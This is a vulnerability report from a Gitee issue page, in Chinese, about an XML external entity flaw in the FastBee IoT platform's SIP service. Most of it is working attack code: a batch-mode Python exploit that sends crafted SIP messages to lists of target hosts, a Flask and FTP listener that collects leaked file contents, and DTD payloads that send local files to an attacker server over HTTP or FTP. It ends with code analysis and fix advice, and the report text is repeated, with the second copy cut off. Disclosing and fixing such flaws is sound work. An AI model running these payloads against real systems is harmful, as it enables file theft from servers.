登录
注册
开源
企业版
高校版
搜索
帮助中心
使用条款
关于我们
开源
企业版
高校版
私有云
模力方舟
AI 队友
登录
注册
2025 Gitee 年度开源项目评选投票进行中,快为你的心仪项目助力!
代码拉取完成,页面将自动刷新
开源项目
>
人工智能
>
智能家居
&&
捐赠
捐赠前请先登录
取消
前往登录
扫描微信二维码支付
取消
支付完成
支付提示
将跳转至支付宝完成支付
确定
取消
Watch
不关注
关注所有动态
仅关注版本发行动态
关注但不提醒动态
719
Star
7.6K
Fork
3.5K
蜂信物联
/
FastBee
代码
Issues
0
Pull Requests
0
Wiki
统计
流水线
服务
JavaDoc
质量分析
Jenkins for Gitee
腾讯云托管
腾讯云 Serverless
悬镜安全
阿里云 SAE
Codeblitz
SBOM
我知道了,不再自动展开
更新失败,请稍后重试!
移除标识
内容风险标识
本任务被
标识为内容中包含有代码安全 Bug 、隐私泄露等敏感信息,仓库外成员不可访问
曲靖蜂信科技有限公司Fastbee物联网平台存在XXE漏洞
已完成
#ID7HNZ
hacja
创建于
2025-11-19 19:57
### 漏洞描述 Fastbee物联网平台的SIP服务组件在处理SIP MESSAGE消息时存在XML外部实体注入漏洞。当攻击者获取有效的SIP设备ID(通常需要管理员权限)时,可以构造恶意的SIP MESSAGE消息发送到服务器,最终可导致服务器部分敏感文件被读取。 ### 利用条件: * 攻击方需要知道fastbee平台存储的某个deviceSipId * 如需进行FTP外带攻击,运行fastbee的服务器的jdk需要小于7u141或者小于8u162 * 网络可达性:Fastbee开启了SIP服务端口(默认配置为5061端口)且能被攻击方访问,攻击方的SIP请求发出的端口也能被fastbee平台访问 * 外带通道:需要能够接收外带数据的FTP/HTTP服务器 ### 漏洞POC ```python #!/usr/bin/env python3 import socket import sys import uuid import random import string import argparse import time PORTLIST=[5061,5060] SIPIDLIST=[13030300001170000008, # 11010100001320000001, # 11010200001320000017, # 12010100001320000003, # 13030100001320000001, 11010200001320000001] # 测试服务器配置 - 请根据实际情况修改 MALICIOUS_HTTP_SERVER = "https://{恶意服务器地址,可写通过内网穿透把该服务器暴露到公网后的地址}" MALICIOUS_FTP_SERVER = "ftp://xxeuser:xxepass@{你恶意ftp服务器地址,同样可填内网穿透后暴露到公网的地址}" def send_udp_message(host, port, message): """发送UDP消息到目标""" try: if isinstance(message, str): message = message.encode('gb2312') with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock: sock.settimeout(2) sock.sendto(message, (host, port)) print(f"✅ 已发送 {len(message)} 字节到 {host}:{port}") try: data, addr = sock.recvfrom(65535) response = data.decode('gb2312', errors='replace') # 检查是否包含文件内容特征 if "MalformedURLException" in response and "For input string" in response: print("🎯 检测到包含文件内容的错误响应!") # 提取文件内容 start_index = response.find('For input string: "') + 20 end_index = response.find('"', start_index) if start_index > 19 and end_index > start_index: file_content = response[start_index:end_index] # 保存到本地文件 timestamp = int(time.time()) filename = f"exfiltrated_data_{timestamp}.txt" with open(filename, "w", encoding="utf-8") as f: f.write(file_content.replace("\\n", "\n")) print(f"💾 成功提取并保存文件内容到 {filename}") return True print(f"📨 收到响应: {response[:300]}...") return False except socket.timeout: print("⏰ 未收到响应(超时)") return False except Exception as e: print(f"❌ 发送UDP消息错误: {str(e)}") return False def build_sip_message(sip_id, target_host, target_port, payload_type): """构建SIP消息""" # 生成随机的SIP头字段 call_id = str(uuid.uuid4()) from_tag = ''.join(random.choices(string.digits, k=5)) cseq = random.randint(1, 1000) branch = f"z9hG4bK-{''.join(random.choices(string.hexdigits.upper(), k=16))}" # 根据攻击类型构建不同的payload if payload_type == "http": # HTTP外带payload xxe_payload = f"""<!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "{MALICIOUS_HTTP_SERVER}/exp.dtd"> %dtd; %send; ]> <Notify> <CmdType>Keepalive</CmdType> <SN>1</SN> <DeviceID>{sip_id}</DeviceID> <Status>OK</Status> <Info>HTTP Exfil Test</Info> </Notify>""" attack_info = "HTTP数据外带" else: # ftp # FTP外带payload xxe_payload = f"""<!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "{MALICIOUS_HTTP_SERVER}/exp.dtd"> %dtd; %send; ]> <Notify> <CmdType>Keepalive</CmdType> <SN>1</SN> <DeviceID>{sip_id}</DeviceID> <Status>OK</Status> <Info>FTP Exfil Test</Info> </Notify>""" attack_info = f"FTP数据外带" # 构建SIP消息(使用正确的\r\n换行符) sip_lines = [ f"MESSAGE sip:{sip_id}@{target_host}:{target_port} SIP/2.0", f"Via: SIP/2.0/UDP 60.215.128.110:5061;branch={branch}", f"From: <sip:{sip_id}@60.215.128.110>;tag={from_tag}", f"To: <sip:{sip_id}@{target_host}:{target_port}>", f"Call-ID: {call_id}@{target_host}", f"CSeq: {cseq} MESSAGE", f"Max-Forwards: 70", f"Content-Type: application/xml", f"Content-Length: {len(xxe_payload)}", "", # 空行分隔header和body xxe_payload ] sip_message = "\r\n".join(sip_lines) print(f"🎯 攻击方式: {attack_info}") print(f"📨 SIP消息大小: {len(sip_message)} 字节") return sip_message def batch_attack_mode(args): """批量攻击模式""" print(f"\n🚀 批量攻击模式 - {args.mode.upper()}外带") # 获取目标主机列表 if args.file: # 从文件读取目标主机 try: with open(args.file, 'r', encoding='utf-8') as f: targets = [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f"❌ 无法找到文件: {args.file}") return except Exception as e: print(f"❌ 读取文件错误: {str(e)}") return else: # 从命令行参数获取目标主机 if not args.target: print("❌ 批量攻击模式需要指定 --target 参数或 --file 参数") return targets = args.target.split(',') # 处理每个目标主机 for target in targets: target = target.strip() print(f"\n🎯 正在测试目标: {target}") # 对每个端口和SIPID组合发送请求 for port in PORTLIST: for sip_id in SIPIDLIST: print(f"\n🔄 正在测试 SIPID: {sip_id}, 端口: {port}") sip_message = build_sip_message(sip_id, target, port, args.mode) success = send_udp_message(target, port, sip_message) if success: print("✅ 攻击成功 - 数据可能已外带成功") else: print("⚠️ 攻击完成 - 等待外带服务器确认") # 添加一点延迟避免过于频繁的请求 time.sleep(1) print(f"\n✅ 目标 {target} 的所有测试已完成") def main(): parser = argparse.ArgumentParser( description='SIP XXE漏洞终极利用工具', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=f''' 使用示例: # HTTP外带批量模式 {sys.argv[0]} --http --target 10.6.0.4,10.6.0.5 # FTP外带批量模式 {sys.argv[0]} --ftp --target 10.6.0.4 # 指定文件路径的FTP批量攻击 {sys.argv[0]} --ftp --target 10.6.0.4 --file "/etc/hostname" # 从文件批量攻击 {sys.argv[0]} --http --file hosts.txt 服务器配置: HTTP服务器: {MALICIOUS_HTTP_SERVER} FTP服务器: {MALICIOUS_FTP_SERVER} ''' ) # 攻击模式选择 mode_group = parser.add_mutually_exclusive_group(required=True) mode_group.add_argument('--http', dest='mode', action='store_const', const='http', help='使用HTTP外带数据') mode_group.add_argument('--ftp', dest='mode', action='store_const', const='ftp', help='使用FTP外带数据(适用于低版本JDK)') # 批量攻击参数 parser.add_argument('--target', help='目标主机(可指定多个,用逗号分隔)') parser.add_argument('-f', '--file', help='目标主机文件路径(每行一个主机)') args = parser.parse_args() # 显示banner print("📡 支持HTTP/FTP两种数据外带方式") print("⚡ 自动处理SIP协议格式") print("🕒 超时自动继续") # 执行批量攻击 batch_attack_mode(args) if __name__ == "__main__": main() ``` 配套的监听服务器脚本: ```python from flask import Flask, request, send_file from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer import threading import datetime import urllib.parse import os import sys import logging from markupsafe import escape # 配置日志 logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') logger = logging.getLogger('XXEServer') # 启用 Windows 控制台的 ANSI 转义序列支持 if sys.platform == "win32": import ctypes kernel32 = ctypes.windll.kernel32 kernel32.SetConsoleMode(kernel32.GetStdHandle(-11), 7) # ANSI 颜色代码 BLUE = "\033[34m" GREEN = "\033[32m" RED = "\033[31m" RESET = "\033[0m" # 创建 Flask 应用 app = Flask(__name__) # HTTP 路由处理 @app.route('/', methods=['GET', 'POST', 'PUT']) def handle_root(): return handle_xxe_request('/') @app.route('/<path:subpath>', methods=['GET', 'POST', 'PUT']) def handle_xxe_request(subpath): # 获取客户端真实 IP client_ip = request.headers.get('X-Forwarded-For', request.remote_addr) if ',' in client_ip: client_ip = client_ip.split(',')[0].strip() # 记录请求信息 log_request(client_ip, subpath, request.method) # 处理根路径 - 目录列表 if subpath == '/': return directory_listing() # 处理 XXE 外带数据请求 if 'leak' in subpath or 'data=' in request.query_string.decode(): return handle_leak_data(client_ip, subpath, request) # 处理 DTD 文件请求 if subpath.endswith('.dtd'): return handle_dtd_request(subpath) # 默认响应 return "Hello,world!", 200 def log_request(client_ip, path, method): """记录请求日志""" method_color = GREEN if method == 'GET' else BLUE logger.info(f"{method_color}[HTTP] {method} 请求来自 IP: {client_ip}, 路径: {path}{RESET}") def directory_listing(): """生成目录列表页面""" try: files = os.listdir('.') html_content = ''' <html> <head> <title>Directory Listing</title> <style> body { font-family: Arial, sans-serif; } ul { list-style-type: none; padding: 0; } li { margin: 5px 0; } a { text-decoration: none; color: #0066cc; } a:hover { text-decoration: underline; } </style> </head> <body> <h2>Directory listing</h2> <ul> ''' for f in files: if os.path.isdir(f): html_content += f'<li><a href="{f}/">📁 {f}/</a></li>' else: html_content += f'<li><a href="{f}">📄 {f}</a></li>' html_content += ''' </ul> </body> </html> ''' return html_content, 200 except Exception as e: logger.error(f"目录列表错误: {str(e)}") return f"Error: {str(e)}", 500 def handle_leak_data(client_ip, path, request): """处理 XXE 外带数据""" logger.info(f"{GREEN}[HTTP] 检测到外带数据请求: {path}{RESET}") # 获取查询参数 query_params = request.query_string.decode() logger.info(f"{GREEN}[HTTP] 外带数据内容: {query_params}{RESET}") # 保存数据到文件 # try: # timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") # filename = f"xxe_leak_data_{timestamp}.txt" # with open(filename, "w", encoding="utf-8") as f: # f.write(f"Client IP: {client_ip}\n") # f.write(f"Path: {path}\n") # f.write(f"Timestamp: {datetime.datetime.now()}\n") # f.write(f"Query Params: {query_params}\n") # f.write("\n--- RAW DATA ---\n") # f.write(query_params) # logger.info(f"{GREEN}[HTTP] 外带数据已保存到: {filename}{RESET}") # logger.info(f"{GREEN}[HTTP] 提取的数据内容:\n{'-'*40}\n{query_params}\n{'-'*40}{RESET}") # except Exception as e: # logger.error(f"保存外带数据错误: {str(e)}") return '''<!ENTITY % dummy "1234567890">''', 200, {'Content-Type': 'application/xml'} def handle_dtd_request(subpath): """处理 DTD 文件请求,返回当前目录下对应的dtd文件内容""" # 获取请求的dtd文件名 filename = subpath.split('/')[-1] # 确保请求的是dtd文件 if not filename.endswith('.dtd'): return "Not Found", 404 # 检查文件是否存在 if not os.path.exists(filename): return f"DTD File '{filename}' Not Found", 404 # 读取并返回文件内容 try: with open(filename, 'r', encoding='utf-8') as f: dtd_content = f.read() logger.info(f"{BLUE}[HTTP] 返回DTD文件: {filename}{RESET}") return dtd_content, 200, {'Content-Type': 'application/xml-dtd'} except Exception as e: logger.error(f"读取DTD文件错误: {str(e)}") return "Internal Server Error", 500 # FTP服务器部分 - 保持不变 class XXEFTPHandler(FTPHandler): def on_connect(self): client_ip, client_port = self.remote_ip, self.remote_port logger.info(f"{BLUE}[FTP] 客户端连接: {client_ip}:{client_port}{RESET}") def on_file_received(self, file): logger.info(f"{BLUE}[FTP] 文件接收完成: {file}{RESET}") self.close() def on_incomplete_file_sent(self, file): logger.info(f"{RED}[FTP] 文件发送中断: {file}{RESET}") self.close() def ftp_LIST(self, path): client_ip, client_port = self.remote_ip, self.remote_port logger.info(f"{BLUE}[FTP] LIST请求: {path} 来自 {client_ip}:{client_port}{RESET}") timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") filename = f"xxe_data_{timestamp}.txt" try: with open(filename, "w", encoding="utf-8") as f: f.write(path) logger.info(f"{GREEN}[FTP] 数据已保存到: {filename}{RESET}") logger.info(f"{GREEN}[FTP] 接收到的数据:\n{'-'*40}\n{path}\n{'-'*40}{RESET}") except Exception as e: logger.error(f"{RED}[FTP] 保存数据错误: {str(e)}{RESET}") result = super().ftp_LIST(path) self.close() return result def ftp_RETR(self, path): decoded_path = urllib.parse.unquote(path) logger.info(f"{BLUE}[FTP] RETR请求 (原始): {decoded_path}{RESET}") timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") filename = f"xxe_data_{timestamp}.txt" raw_filename = f"raw_{filename}" try: with open(raw_filename, "w", encoding="utf-8") as f: f.write(decoded_path) with open(filename, "w", encoding="utf-8") as f: f.write(decoded_path) logger.info(f"{GREEN}[FTP] 数据已保存到: {filename}{RESET}") logger.info(f"{GREEN}[FTP] 处理后的数据内容:\n{'-'*40}\n{decoded_path}\n{'-'*40}{RESET}") except Exception as e: logger.error(f"{RED}[FTP] 保存数据错误: {str(e)}{RESET}") result = super().ftp_RETR(path) self.close() return result def run_ftp_server(): """启动FTP服务器""" temp_dir = "/tmp" if not os.path.exists(temp_dir): os.makedirs(temp_dir) authorizer = DummyAuthorizer() authorizer.add_user("xxeuser", "xxepass", temp_dir, perm="elradfmw") handler = XXEFTPHandler handler.authorizer = authorizer ftpd = FTPServer(('0.0.0.0', 2121), handler) logger.info(f"{GREEN}FTP服务器运行在端口 2121{RESET}") ftpd.serve_forever() def run_http_server(): """启动HTTP服务器""" # 在生产环境中,使用 Waitress 或 Gunicorn 代替开发服务器 if os.environ.get('PRODUCTION'): try: from waitress import serve serve(app, host='0.0.0.0', port=8900) except ImportError: logger.warning("Waitress not found, falling back to Flask development server") app.run(host='0.0.0.0', port=8900, threaded=True) else: app.run(host='0.0.0.0', port=8900, threaded=True) if __name__ == "__main__": # 启动FTP服务器线程 ftp_thread = threading.Thread(target=run_ftp_server) ftp_thread.daemon = True ftp_thread.start() logger.info(f"{GREEN}HTTP服务器运行在端口 8900{RESET}") logger.info(f"{GREEN}FTP服务器运行在端口 2121{RESET}") logger.info(f"{BLUE}服务器已启动,等待连接...{RESET}") # 启动HTTP服务器 run_http_server() ``` ### 漏洞分析 首先由于某些服务器部署fastbee后未删除测试数据,导致有管理员权限的人员能通过/prod-api/sip/device/list获取测试数据中的sipid  这些SIPID可填入上面POC的SIPID列表中,供后续漏洞利用。 springboot/fastbee-server/sip-server/src/main/java/com/fastbee/sip/server/impl/GBListenerImpl.java的processRequest方法可处理SIP请求。  该方法最后一句requestProcessorMap.get(method).processMsg(evt);收到SIP MESSAGE请求的时候会进入springboot/fastbee-server/sip-server/src/main/java/com/fastbee/sip/handler/req/message/MessageRequestProcessor.java的processMsg方法。 processMsg方法会提取请求头中的SIPid,并根据此sipid查找设备:  如果找到设备,则进入springboot/fastbee-server/sip-server/src/main/java/com/fastbee/sip/handler/req/ReqAbstractHandler.java的getRootElement方法,该方法会调用getRootElement(RequestEvent evt, String charset):  com.fastbee.sip.handler.req.ReqAbstractHandler.getRootElement(RequestEvent evt, String charset)会初始化SAXReader对象,尽管后面过滤了非法的&字符,但是未禁止引入外部dtd。  构造一个恶意dtd和测试文件s.txt: ```xml <!ENTITY % file SYSTEM "file:///D:/uploadPath/s.txt"> <!ENTITY % all "<!ENTITY % send SYSTEM 'https://你的恶意公网服务器地址/leak?data=%file;'>"> %all; %send; ```  构造恶意SIP请求,请求体是XML格式,包含外部dtd引用在执行Document xml = reader.read(new ByteArrayInputStream(bytesResult));之前,变量content的内容依然包含外部dtd引用,说明变量bytesResult(请求体的ASCII数组形式)也是包含外部dtd引用的,如下图。  当调用read方法的时候,XML被解析,尽管触发异常,但是仍触发了HTTP外带:   但是只要攻击方把恶意服务器修改一下,让fastbee访问/leak?data=%file的时候返回正常xml响应,比如`return '''<!ENTITY % dummy "1234567890">''', 200, {'Content-Type': 'application/xml'}`则既能外带数据又不会触发“解析XML消息内容异常”。 **如果用jdk<7u141或者jdk<8u162运行fastbee** ,还能导致XXE FTP外带: 配套dtd: ```xml <!ENTITY % file SYSTEM "file:///C:/Windows/win.ini"> <!ENTITY % all "<!ENTITY % send SYSTEM 'ftp://xxeuser:xxepass@127.0.0.1:2121/%file;'>"> %all; %send; ``` ```shell python .\fastbeeXXEpoc.py --ftp --target 127.0.0.1 ```   ### 修复建议 1.在getRootElement方法初始化reader后添加以下安全措施: ```java reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); reader.setFeature("http://xml.org/sax/features/external-general-entities", false); reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); ``` 上面第一个特性会禁用DTD声明,第二个特性会禁用外部通用实体,第三个特性会禁用外部参数实体。 可根据业务需求判断是否采纳,如果业务中没有使用DTD验证和外部实体,应该没有影响。 2.采用版本大于8u162的jdk来运行fastbee。 3. 采用安全设备检查可疑攻击流量。
### 漏洞描述 Fastbee物联网平台的SIP服务组件在处理SIP MESSAGE消息时存在XML外部实体注入漏洞。当攻击者获取有效的SIP设备ID(通常需要管理员权限)时,可以构造恶意的SIP MESSAGE消息发送到服务器,最终可导致服务器部分敏感文件被读取。 ### 利用条件: * 攻击方需要知道fastbee平台存储的某个deviceSipId * 如需进行FTP外带攻击,运行fastbee的服务器的jdk需要小于7u141或者小于8u162 * 网络可达性:Fastbee开启了SIP服务端口(默认配置为5061端口)且能被攻击方访问,攻击方的SIP请求发出的端口也能被fastbee平台访问 * 外带通道:需要能够接收外带数据的FTP/HTTP服务器 ### 漏洞POC ```python #!/usr/bin/env python3 import socket import sys import uuid import random import string import argparse import time PORTLIST=[5061,5060] SIPIDLIST=[13030300001170000008, # 11010100001320000001, # 11010200001320000017, # 12010100001320000003, # 13030100001320000001, 11010200001320000001] # 测试服务器配置 - 请根据实际情况修改 MALICIOUS_HTTP_SERVER = "https://{恶意服务器地址,可写通过内网穿透把该服务器暴露到公网后的地址}" MALICIOUS_FTP_SERVER = "ftp://xxeuser:xxepass@{你恶意ftp服务器地址,同样可填内网穿透后暴露到公网的地址}" def send_udp_message(host, port, message): """发送UDP消息到目标""" try: if isinstance(message, str): message = message.encode('gb2312') with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock: sock.settimeout(2) sock.sendto(message, (host, port)) print(f"✅ 已发送 {len(message)} 字节到 {host}:{port}") try: data, addr = sock.recvfrom(65535) response = data.decode('gb2312', errors='replace') # 检查是否包含文件内容特征 if "MalformedURLException" in response and "For input string" in response: print("🎯 检测到包含文件内容的错误响应!") # 提取文件内容 start_index = response.find('For input string: "') + 20 end_index = response.find('"', start_index) if start_index > 19 and end_index > start_index: file_content = response[start_index:end_index] # 保存到本地文件 timestamp = int(time.time()) filename = f"exfiltrated_data_{timestamp}.txt" with open(filename, "w", encoding="utf-8") as f: f.write(file_content.replace("\\n", "\n")) print(f"💾 成功提取并保存文件内容到 {filename}") return True print(f"📨 收到响应: {response[:300]}...") return False except socket.timeout: print("⏰ 未收到响应(超时)") return False except Exception as e: print(f"❌ 发送UDP消息错误: {str(e)}") return False def build_sip_message(sip_id, target_host, target_port, payload_type): """构建SIP消息""" # 生成随机的SIP头字段 call_id = str(uuid.uuid4()) from_tag = ''.join(random.choices(string.digits, k=5)) cseq = random.randint(1, 1000) branch = f"z9hG4bK-{''.join(random.choices(string.hexdigits.upper(), k=16))}" # 根据攻击类型构建不同的payload if payload_type == "http": # HTTP外带payload xxe_payload = f"""<!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "{MALICIOUS_HTTP_SERVER}/exp.dtd"> %dtd; %send; ]> <Notify> <CmdType>Keepalive</CmdType> <SN>1</SN> <DeviceID>{sip_id}</DeviceID> <Status>OK</Status> <Info>HTTP Exfil Test</Info> </Notify>""" attack_info = "HTTP数据外带" else: # ftp # FTP外带payload xxe_payload = f"""<!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "{MALICIOUS_HTTP_SERVER}/exp.dtd"> %dtd; %send; ]> <Notify> <CmdType>Keepalive</CmdType> <SN>1</SN> <DeviceID>{sip_id}</DeviceID> <Status>OK</Status> <Info>FTP Exfil Test</Info> </Notify>""" attack_info = f"FTP数据外带" # 构建SIP消息(使用正确的\r\n换行符) sip_lines = [ f"MESSAGE sip:{sip_id}@{target_host}:{target_port} SIP/2.0", f"Via: SIP/2.0/UDP 60.215.128.110:5061;branch={branch}", f"From: <sip:{sip_id}@60.215.128.110>;tag={from_tag}", f"To: <sip:{sip_id}@{target_host}:{target_port}>", f"Call-ID: {call_id}@{target_host}", f"CSeq: {cseq} MESSAGE", f"Max-Forwards: 70", f"Content-Type: application/xml", f"Content-Length: {len(xxe_payload)}", "", # 空行分隔header和body xxe_payload ] sip_message = "\r\n".join(sip_lines) print(f"🎯 攻击方式: {attack_info}") print(f"📨 SIP消息大小: {len(sip_message)} 字节") return sip_message def batch_attack_mode(args): """批量攻击模式""" print(f"\n🚀 批量攻击模式 - {args.mode.upper()}外带") # 获取目标主机列表 if args.file: # 从文件读取目标主机 try: with open(args.file, 'r', encoding='utf-8') as f: targets = [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f"❌ 无法找到文件: {args.file}") return except Exception as e: print(f"❌ 读取文件错误: {str(e)}") return else: # 从命令行参数获取目标主机 if not args.target: print("❌ 批量攻击模式需要指定 --target 参数或 --file 参数") return targets = args.target.split(',') # 处理每个目标主机 for target in targets: target = target.strip() print(f"\n🎯 正在测试目标: {target}") # 对每个端口和SIPID组合发送请求 for port in PORTLIST: for sip_id in SIPIDLIST: print(f"\n🔄 正在测试 SIPID: {sip_id}, 端口: {port}") sip_message = build_sip_message(sip_id, target, port, args.mode) success = send_udp_message(target, port, sip_message) if success: print("✅ 攻击成功 - 数据可能已外带成功") else: print("⚠️ 攻击完成 - 等待外带服务器确认") # 添加一点延迟避免过于频繁的请求 time.sleep(1) print(f"\n✅ 目标 {target} 的所有测试已完成") def main(): parser = argparse.ArgumentParser( description='SIP XXE漏洞终极利用工具', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=f''' 使用示例: # HTTP外带批量模式 {sys.argv[0]} --http --target 10.6.0.4,10.6.0.5 # FTP外带批量模式 {sys.argv[0]} --ftp --target 10.6.0.4 # 指定文件路径的FTP批量攻击 {sys.argv[0]} --ftp --target 10.6.0.4 --file "/etc/hostname" # 从文件批量攻击 {sys.argv[0]} --http --file hosts.txt 服务器配置: HTTP服务器: {MALICIOUS_HTTP_SERVER} FTP服务器: {MALICIOUS_FTP_SERVER} ''' ) # 攻击模式选择 mode_group = parser.add_mutually_exclusive_group(required=True) mode_group.add_argument('--http', dest='mode', action='store_const', const='http', help='使用HTTP外带数据') mode_group.add_argument('--ftp', dest='mode', action='store_const', const='ftp', help='使用FTP外带数据(适用于低版本JDK)') # 批量攻击参数 parser.add_argument('--target', help='目标主机(可指定多个,用逗号分隔)') parser.add_argument('-f', '--file', help='目标主机文件路径(每行一个主机)') args = parser.parse_args() # 显示banner print("📡 支持HTTP/FTP两种数据外带方式") print("⚡ 自动处理SIP协议格式") print("🕒 超时自动继续") # 执行批量攻击 batch_attack_mode(args) if __name__ == "__main__": main() ``` 配套的监听服务器脚本: ```python from flask import Flask, request, send_file from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer import threading import datetime import urllib.parse import os import sys import logging from markupsafe import escape # 配置日志 logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') logger = logging.getLogger('XXEServer') # 启用 Windows 控制台的 ANSI 转义序列支持 if sys.platform == "win32": import ctypes kernel32 = ctypes.windll.kernel32 kernel32.SetConsoleMode(kernel32.GetStdHandle(-11), 7) # ANSI 颜色代码 BLUE = "\033[34m" GREEN = "\033[32m" RED = "\033[31m" RESET = "\033[0m" # 创建 Flask 应用 app = Flask(__name__) # HTTP 路由处理 @app.route('/', methods=['GET', 'POST', 'PUT']) def handle_root(): return handle_xxe_request('/') @app.route('/<path:subpath>', methods=['GET', 'POST', 'PUT']) def handle_xxe_request(subpath): # 获取客户端真实 IP client_ip = request.headers.get('X-Forwarded-For', request.remote_addr) if ',' in client_ip: client_ip = client_ip.split(',')[0].strip() # 记录请求信息 log_request(client_ip, subpath, request.method) # 处理根路径 - 目录列表 if subpath == '/': return directory_listing() # 处理 XXE 外带数据请求 if 'leak' in subpath or 'data=' in request.query_string.decode(): return handle_leak_data(client_ip, subpath, request) # 处理 DTD 文件请求 if subpath.endswith('.dtd'): return handle_dtd_request(subpath) # 默认响应 return "Hello,world!", 200 def log_request(client_ip, path, method): """记录请求日志""" method_color = GREEN if method == 'GET' else BLUE logger.info(f"{method_color}[HTTP] {method} 请求来自 IP: {client_ip}, 路径: {path}{RESET}") def directory_listing(): """生成目录列表页面""" try: files = os.listdir('.') html_content = ''' <html> <head> <title>Directory Listing</title> <style> body { font-family: Arial, sans-serif; } ul { list-style-type: none; padding: 0; } li { margin: 5px 0; } a { text-decoration: none; color: #0066cc; } a:hover { text-decoration: underline; } </style> </head> <body> <h2>Directory listing</h2> <ul> ''' for f in files: if os.path.isdir(f): html_content += f'<li><a href="{f}/">📁 {f}/</a></li>' else: html_content += f'<li><a href="{f}">📄 {f}</a></li>' html_content += ''' </ul> </body> </html> ''' return html_content, 200 except Exception as e: logger.error(f"目录列表错误: {str(e)}") return f"Error: {str(e)}", 500 def handle_leak_data(client_ip, path, request): """处理 XXE 外带数据""" logger.info(f"{GREEN}[HTTP] 检测到外带数据请求: {path}{RESET}") # 获取查询参数 query_params = request.query_string.decode() logger.info(f"{GREEN}[HTTP] 外带数据内容: {query_params}{RESET}") # 保存数据到文件 # try: # timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") # filename = f"xxe_leak_data_{timestamp}.txt" # with open(filename, "w", encoding="utf-8") as f: # f.write(f"Client IP: {client_ip}\n") # f.write(f"Path: {path}\n") # f.write(f"Timestamp: {datetime.datetime.now()}\n") # f.write(f"Query Params: {query_params}\n") # f.write("\n--- RAW DATA ---\n") # f.write(query_params) # logger.info(f"{GREEN}[HTTP] 外带数据已保存到: {filename}{RESET}") # logger.info(f"{GREEN}[HTTP] 提取的数据内容:\n{'-'*40}\n{query_params}\n{'-'*40}{RESET}") # except Exception as e: # logger.error(f"保存外带数据错误: {str(e)}") return '''<!ENTITY % dummy "1234567890">''', 200, {'Content-Type': 'application/xml'} def handle_dtd_request(subpath): """处理 DTD 文件请求,返回当前目录下对应的dtd文件内容""" # 获取请求的dtd文件名 filename = subpath.split('/')[-1] # 确保请求的是dtd文件 if not filename.endswith('.dtd'): return "Not Found", 404 # 检查文件是否存在 if not os.path.exists(filename): return f"DTD File '{filename}' Not Found", 404 # 读取并返回文件内容 try: with open(filename, 'r', encoding='utf-8') as f: dtd_content = f.read() logger.info(f"{BLUE}[HTTP] 返回DTD文件: {filename}{RESET}") return dtd_content, 200, {'Content-Type': 'application/xml-dtd'} except Exception as e: logger.error(f"读取DTD文件错误: {str(e)}") return "Internal Server Error", 500 # FTP服务器部分 - 保持不变 class XXEFTPHandler(FTPHandler): def on_connect(self): client_ip, client_port = self.remote_ip, self.remote_port logger.info(f"{BLUE}[FTP] 客户端连接: {client_ip}:{client_port}{RESET}") def on_file_received(self, file): logger.info(f"{BLUE}[FTP] 文件接收完成: {file}{RESET}") self.close() def on_incomplete_file_sent(self, file): logger.info(f"{RED}[FTP] 文件发送中断: {file}{RESET}") self.close() def ftp_LIST(self, path): client_ip, client_port = self.remote_ip, self.remote_port logger.info(f"{BLUE}[FTP] LIST请求: {path} 来自 {client_ip}:{client_port}{RESET}") timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") filename = f"xxe_data_{timestamp}.txt" try: with open(filename, "w", encoding="utf-8") as f: f.write(path) logger.info(f"{GREEN}[FTP] 数据已保存到: {filename}{RESET}") logger.info(f"{GREEN}[FTP] 接收到的数据:\n{'-'*40}\n{path}\n{'-'*40}{RESET}") except Exception as e: logger.error(f"{RED}[FTP] 保存数据错误: {str(e)}{RESET}") result = super().ftp_LIST(path) self.close() return result def ftp_RETR(self, path): decoded_path = urllib.parse.unquote(path) logger.info(f"{BLUE}[FTP] RETR请求 (原始): {decoded_path}{RESET}") timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") filename = f"xxe_data_{timestamp}.txt" raw_filename = f"raw_{filename}" try: with open(raw_filename, "w", encoding="utf-8") as f: f.write(decoded_path) with open(filename, "w", encoding="utf-8") as f: f.write(decoded_path) logger.info(f"{GREEN}[FTP] 数据已保存到: {filename}{RESET}") logger.info(f"{GREEN}[FTP] 处理后的数据内容:\n{'-'*40}\n{decoded_path}\n{'-'*40}{RESET}") except Exception as e: logger.error(f"{RED}[FTP] 保存数据错误: {str(e)}{RESET}") result = super().ftp_RETR(path) self.close() return result def run_ftp_server(): """启动FTP服务器""" temp_dir = "/tmp" if not os.path.exists(temp_dir): os.makedirs(temp_dir) authorizer = DummyAuthorizer() authorizer.add_user("xxeuser", "xxepass", temp_dir, perm="elradfmw") handler = XXEFTPHandler handler.authorizer = authorizer ftpd = FTPServer(('0.0.0.0', 2121), handler) logger.info(f"{GREEN}FTP服务器运行在端口 2121{RESET}") ftpd.serve_forever() def run_http_server(): """启动HTTP服务器""" # 在生产环境中,使用 Waitress 或 Gunicorn 代替开发服务器 if os.environ.get('PRODUCTION'): try: from waitress import serve serve(app, host='0.0.0.0', port=8900) except ImportError: logger.warning("Waitress not found, falling back to Flask development server") app.run(host='0.0.0.0', port=8900, threaded=True) else: app.run(host='0.0.0.0', port=8900, threaded=True) if __name__ == "__main__": # 启动FTP服务器线程 ftp_thread = threading.Thread(target=run_ftp_server) ftp_thread.daemon = True ftp_thread.start() logger.info(f"{GREEN}HTTP服务器运行在端口 8900{RESET}") logger.info(f"{GREEN}FTP服务器运行在端口 2121{RESET}") 